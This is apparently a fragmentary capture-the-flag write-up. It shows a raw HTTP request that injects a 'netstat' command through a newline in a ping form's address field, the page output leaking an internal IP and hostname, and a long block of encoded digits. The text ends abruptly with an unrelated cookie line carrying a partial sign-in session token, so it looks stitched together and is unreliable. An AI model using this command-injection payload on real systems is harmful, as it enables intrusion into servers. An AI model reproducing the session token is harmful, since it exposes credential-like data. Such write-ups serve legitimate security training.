### h3 ``` POST /index.php HTTP/1.1 Host: mctf.ru:1338 Content-Length: 18 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://mctf.ru:1338 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://mctf.ru:1338/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close addr=%0Anetstat%0A ``` ![](https://i.imgur.com/yzgsibR.png) ![](https://i.imgur.com/SNYm7rH.png) ![](https://i.imgur.com/d55liJu.png) --- ![](https://i.imgur.com/HIU3Jlf.png) ``` <div class="jumbotron hero-spacer"> <form action="index.php" method="POST"> Ping адрес: <input type="text" name="addr"> <input value="Отправить" type="submit"> </form> <br> <b> 172.17.0.2 be84c3f279ef </b> </div> </div> </div> <!-- /.row --> <hr> <!-- Footer --> <footer> ``` ``` 172.17.0.2 be84c3f279ef </b> ``` --- ``` 1 322 2332 112213 22 321232 122311 21 22111213 322 2112232 22 2221 2122 3223 22331 21 222 22211323 321112322 222 233 3223 2322132 122313222 23123 1123 21 212222 233 222 232 21122 21222 3122312 222231 22 312 222 3222211232322 2313 2222121322 22 222212 211 21 222322122 23113 321232 232 1222332 32311 2212 22 2221321 2123 312 23213 22332122 2221 13221232 12 221 12211212 12 22231 221332 221132 22221 312 212 22222 222 21231222121 2122 2332 22 2332 2322332 2222123 222 22212122 233 2122212322 22 233 2121 222 233 213123 323111 22 312 222 2332 222213 33 222 22111 22 3231 233111 222122232 21 233 22221 22 21123 222 22221132 312 1223223 222212132 222 3121221212211 122312 22 22231222122 12 221122121 222 23223 21232 222 21321121 21 23223 212231132 23123 322 2332 222222232 22 32131322 21 233 22212121 121123 2122 2123 22 2123 1 33212 2223 22123 2222222 22 312 221212 22 312 2222222 22 223222 12 233 2223 22 233 2131222 221231 22 312 21321121 21 22 233 21212121 2121321 22 233 22212222 21223312 22 21122222133 222 2122111 22 233 2122122 23123 33 322 222221112332 22 2311222311 222 222232222111 221 233 13112121 222111 22 3211222 231222 23323 21122 22 312 22212121 3223231 23123 1 231311 232132 2123 211 233 1322312 22 233 22111 11322 1 2232 112213 22 21 221231 211322 222 222122122 221_2322_211122_12_1222 ``` [truncated]Cookie: event_filter=all; sidebar_collapsed=false; known_sign_in=VHVkSm5VbHVRcGFpYkxXYVFmQ3dXNWNPM2Q3N0NaVk5tS2psNitnaThNRFZFVkEwWmFhOVR3MEczdW03L1dCNkxGUzE0bEhJKzlKUEtqblNWc1JBR0g1TmVmSC85TEVwMTRnZjArYmpTY1RYZGVoMGZaN3JWek1hV